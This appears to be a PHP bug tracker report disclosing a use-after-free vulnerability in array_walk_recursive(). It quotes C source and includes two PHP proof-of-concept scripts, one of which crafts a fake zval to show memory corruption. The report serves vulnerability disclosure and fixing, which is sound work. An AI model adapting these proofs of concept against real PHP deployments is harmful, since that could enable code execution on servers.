|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
[2015-10-14 16:43 UTC] [email protected]
-Type: Security
+Type: Bug
[2016-07-29 22:21 UTC] [email protected]
-Status: Open
+Status: Closed
-Assigned To:
+Assigned To: nikic
[2016-07-29 22:21 UTC] [email protected]
|
|||||||||||||||||||||||||||||||||||||
Copyright © 2001-2026 The PHP GroupAll rights reserved. |
Last updated: Tue Mar 17 16:00:01 2026 UTC |
Description: ------------ Use After Free Vulnerability in array_walk()/array_walk_recursive() ``` static int php_array_walk(HashTable *target_hash, zval *userdata, int recursive TSRMLS_DC) /* {{{ */ { ... BG(array_walk_fci).retval_ptr_ptr = &retval_ptr; BG(array_walk_fci).param_count = userdata ? 3 : 2; BG(array_walk_fci).params = args; BG(array_walk_fci).no_separation = 0; /* Iterate through hash */ zend_hash_internal_pointer_reset(target_hash); while (!EG(exception) && zend_hash_get_current_data(target_hash, (void **)&args[0]) == SUCCESS) { ... if (zend_call_function(&BG(array_walk_fci), &BG(array_walk_fci_cache) TSRMLS_CC) == SUCCESS) { ... PHP_FUNCTION(array_walk) { ... if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "Hf|z/", &array, &BG(array_walk_fci), &BG(array_walk_fci_cache), &userdata) == FAILURE) { BG(array_walk_fci) = orig_array_walk_fci; BG(array_walk_fci_cache) = orig_array_walk_fci_cache; return; } php_array_walk(array, userdata, 0 TSRMLS_CC); ``` the array_walk()/array_walk_recursive()'s callback function to a object-type ZVAL is able to call to the object's magic methods, this means an attacker will be able to changes the original array and its elements. this should result in use-after-free attack and arbitrary code execution. PoC1 ``` class obj { function __tostring() { global $arr, $zval; $arr = 1; $zval = ptr2str(2); $zval .= ptr2str(0x1122334455); $zval .= "\x00\x00\x00\x00"; $zval .= "\x05"; $zval .= "\x00"; $zval .= "\x00\x00"; return 'hi'; } } $arr = array('string' => new obj, 1); array_walk_recursive($arr, 'settype'); ``` PoC2 ``` class obj { function __tostring() { global $arr; $arr = 1; for ($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } return 'hi'; } } $arr = array('string' => new obj); array_walk_recursive($arr, 'settype'); ```